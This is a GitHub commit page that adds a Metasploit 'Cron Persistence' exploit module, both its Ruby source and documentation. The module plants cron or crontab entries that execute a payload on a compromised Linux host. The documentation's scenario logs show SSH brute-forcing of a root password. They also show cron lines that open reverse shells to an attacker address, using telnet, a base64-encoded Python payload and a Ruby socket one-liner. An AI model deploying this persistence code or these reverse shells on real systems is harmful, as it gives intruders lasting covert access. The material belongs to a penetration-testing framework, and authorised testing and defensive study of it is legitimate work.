Skip to content

Commit c64d914

Browse files
committed
Land rapid7#7003, cron/crontab persistence module
2 parents 2fa4c70 + 33ce3ec commit c64d914

File tree

2 files changed

+281
-0
lines changed

2 files changed

+281
-0
lines changed
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
### Creating A Testing Environment
2+
3+
This module has been tested against:
4+
5+
1. Kali Rolling
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Exploit a box via whatever method
11+
4. Do: `use exploit/linux/local/cron_persistence`
12+
5. Do: `set session #`
13+
6. Do: `set target #`
14+
7. Do: `set verbose true`
15+
8. Optional Do: `set username` (depends on target selection)
16+
9. Optional Do: `set cleanup false`
17+
10. Do: `exploit`
18+
19+
## Options
20+
21+
**username**
22+
23+
Set a specific user's crontab if target 'User Crontab' is selected
24+
25+
**timing**
26+
27+
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
28+
29+
**cleanup**
30+
31+
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!**
32+
33+
## Scenarios
34+
35+
### Kali Rolling (root)
36+
37+
Initial Access
38+
39+
msf > use auxiliary/scanner/ssh/ssh_login
40+
msf auxiliary(ssh_login) > set username root
41+
username => root
42+
msf auxiliary(ssh_login) > set password password
43+
password => password
44+
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
45+
rhosts => 10.10.60.168
46+
msf auxiliary(ssh_login) > exploit
47+
48+
[*] 10.10.60.168:22 SSH - Starting bruteforce
49+
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
50+
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
51+
[*] Scanned 1 of 1 hosts (100% complete)
52+
[*] Auxiliary module execution completed
53+
54+
Run our module (Cron)
55+
56+
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
57+
msf exploit(cron_persistence) > set session 1
58+
session => 1
59+
msf exploit(cron_persistence) > set verbose true
60+
verbose => true
61+
msf exploit(cron_persistence) > set target 0
62+
target => 0
63+
msf exploit(cron_persistence) > exploit
64+
65+
[*] Started reverse double handler
66+
[*] Max line length is 65537
67+
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
68+
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
69+
[*] Waiting 90sec for callback
70+
[*] Accepted the first client connection...
71+
[*] Accepted the second client connection...
72+
[*] Command: echo xPBXQvodQdzgByKR;
73+
[*] Writing to socket A
74+
[*] Writing to socket B
75+
[*] Reading from sockets...
76+
[*] Reading from socket A
77+
[*] A: "xPBXQvodQdzgByKR\r\n"
78+
[*] Matching...
79+
[*] B is input...
80+
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
81+
[+] Deleted /etc/cron.d/FiThkldAZR
82+
83+
Run our module (System Crontab)
84+
85+
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
86+
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
87+
payload => cmd/unix/reverse_python
88+
msf exploit(cron_persistence) > set lhost 192.168.199.128
89+
lhost => 192.168.199.128
90+
msf exploit(cron_persistence) > set session 1
91+
session => 1
92+
msf exploit(cron_persistence) > set verbose true
93+
verbose => true
94+
msf exploit(cron_persistence) > set target 2
95+
target => 2
96+
msf exploit(cron_persistence) > set cleanup false
97+
cleanup => false
98+
msf exploit(cron_persistence) > exploit
99+
100+
[*] Started reverse handler on 192.168.199.128:4444
101+
[*] Max line length is 65537
102+
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
103+
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
104+
[*] Waiting 90sec for callback
105+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
106+
107+
And since we didn't clean up, if our session dies...
108+
109+
^C
110+
Abort session 2? [y/N] y
111+
112+
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
113+
msf exploit(cron_persistence) > use exploit/multi/handler
114+
msf exploit(handler) > set payload cmd/unix/reverse_python
115+
payload => cmd/unix/reverse_python
116+
msf exploit(handler) > set lhost 192.168.199.128
117+
lhost => 192.168.199.128
118+
msf exploit(handler) > exploit
119+
120+
[*] Started reverse handler on 192.168.199.128:4444
121+
[*] Starting the payload handler...
122+
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
123+
124+
Run our module (User Crontab)
125+
126+
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
127+
payload => cmd/unix/reverse_ruby
128+
msf exploit(cron_persistence) > set lhost 192.168.199.128
129+
lhost => 192.168.199.128
130+
msf exploit(cron_persistence) > set session 1
131+
session => 1
132+
msf exploit(cron_persistence) > set verbose true
133+
verbose => true
134+
msf exploit(cron_persistence) > set target 1
135+
target => 1
136+
msf exploit(cron_persistence) > exploit
137+
138+
[*] Started reverse handler on 192.168.199.128:4444
139+
[*] Max line length is 65537
140+
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
141+
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
142+
[*] Reloading cron to pickup new entry
143+
[*] Waiting 90sec for callback
144+
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Cron Persistence',
18+
'Description' => %q(
19+
This module will create a cron or crontab entry to execute a payload.
20+
The module includes the ability to automatically clean up those entries to prevent multiple executions.
21+
syslog will get a copy of the cron entry.
22+
),
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'h00die <[email protected]>'
27+
],
28+
'Platform' => ['unix', 'linux'],
29+
'Targets' =>
30+
[
31+
[ 'Cron', { :path => '/etc/cron.d' } ],
32+
[ 'User Crontab', { :path => '/var/spool/cron' } ],
33+
[ 'System Crontab', { :path => '/etc' } ]
34+
],
35+
'DefaultTarget' => 1,
36+
'Arch' => ARCH_CMD,
37+
'Payload' =>
38+
{
39+
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
40+
'Compat' =>
41+
{
42+
'PayloadType' => 'cmd',
43+
'RequiredCmd' => 'generic perl ruby python'
44+
}
45+
},
46+
'DefaultOptions' => { 'WfsDelay' => 90 },
47+
'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation)
48+
)
49+
)
50+
51+
register_options(
52+
[
53+
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
54+
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
55+
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
56+
], self.class
57+
)
58+
end
59+
60+
def exploit
61+
# https://gist.github.com/istvanp/310203 for cron regex validator
62+
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
63+
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
64+
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
65+
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
66+
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
67+
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
68+
unless datastore['TIMING'] =~ /#{cron_regex}/
69+
fail_with(Failure::BadConfig, 'Invalid timing format')
70+
end
71+
cron_entry = datastore['TIMING']
72+
if target.name.include? 'User Crontab'
73+
unless user_cron_permission?(datastore['USERNAME'])
74+
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
75+
end
76+
else
77+
cron_entry += " #{datastore['USERNAME']}"
78+
end
79+
flag = Rex::Text.rand_text_alpha(10)
80+
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
81+
case target.name
82+
when 'Cron'
83+
our_entry = Rex::Text.rand_text_alpha(10)
84+
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
85+
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
86+
if datastore['CLEANUP']
87+
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
88+
end
89+
when 'System Crontab'
90+
file_to_clean = "#{target.opts[:path]}/crontab"
91+
append_file(file_to_clean, "\n#{cron_entry}\n")
92+
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
93+
when 'User Crontab'
94+
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
95+
append_file(file_to_clean, "\n#{cron_entry}\n")
96+
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
97+
# at least on ubuntu, we need to reload cron to get this to work
98+
vprint_status('Reloading cron to pickup new entry')
99+
cmd_exec("service cron reload")
100+
end
101+
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
102+
Rex.sleep(datastore['WfsDelay'].to_i)
103+
# we may need to do some cleanup, no need for cron since that uses file dropper
104+
# we could run this on a on_successful_session, but we want cleanup even if it fails
105+
if file_to_clean && flag && datastore['CLEANUP']
106+
print_status("Removing our cron entry from #{file_to_clean}")
107+
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
108+
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
109+
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
110+
if target.name == 'User Crontab' # make sure we clean out of memory
111+
cmd_exec("service cron reload")
112+
end
113+
end
114+
end
115+
116+
def user_cron_permission?(user)
117+
# double check we're allowed to do cron
118+
# may also be /etc/cron.d/
119+
paths = ['/etc/', '/etc/cron.d/']
120+
paths.each do |path|
121+
cron_auth = read_file("#{path}cron.allow")
122+
if cron_auth
123+
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
124+
vprint_good("User located in #{path}cron.allow")
125+
return true
126+
end
127+
end
128+
cron_auths = read_file("#{path}cron.deny")
129+
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
130+
vprint_error("User located in #{path}cron.deny")
131+
return false
132+
end
133+
end
134+
# no guidance, so we should be fine
135+
true
136+
end
137+
end

0 commit comments

Comments
 (0)